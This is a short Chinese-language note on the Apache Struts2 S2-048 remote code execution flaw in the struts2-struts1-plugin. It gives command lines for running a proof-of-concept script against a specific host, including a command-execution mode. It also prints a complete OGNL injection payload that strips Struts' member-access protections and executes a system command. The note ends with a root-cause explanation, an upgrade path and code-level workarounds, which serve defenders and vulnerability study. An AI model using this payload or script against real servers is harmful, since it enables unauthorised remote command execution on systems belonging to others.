Struts2 02 048

poc: Struts048.py

python Struts048.py http://lich.tk:8080/integration/saveGangster.action #检查
python Struts048.py http://lich.tk:8080/integration/saveGangster.action whoami #命令执行
title

Struts2-exploit.sh title


在该出填入payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())).(#q)}
title title


漏洞分析:

这个漏洞本质上是在Apache struts2-struts1-plugin这个jar包里,在struts2-struts1-plugin包中 Struts1Action.javaexecute函数调用了getText函数,这个函数会执行ognl表达式 ,通过调用getText的输入内容,插入恶意的攻击参数,导致该漏洞可以执行Linux系 统命令


修复方案 升级到Struts 2.5.10.1版本,下载链接如下所示: https://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1 http://struts.apache.org/download.cgi

临时修复方案 开发者通过使用资源调用方式替代原始值传递方式给ActionMessage的方式。 如下所示:

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
不要使用如下的方式:
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
在非必要的情况下禁用struts2-struts1-plugin插件。将struts2-struts1-plugin-2.3.x.jar文件从 /WEB-INF/lib目录中移动到其他文件夹或者删除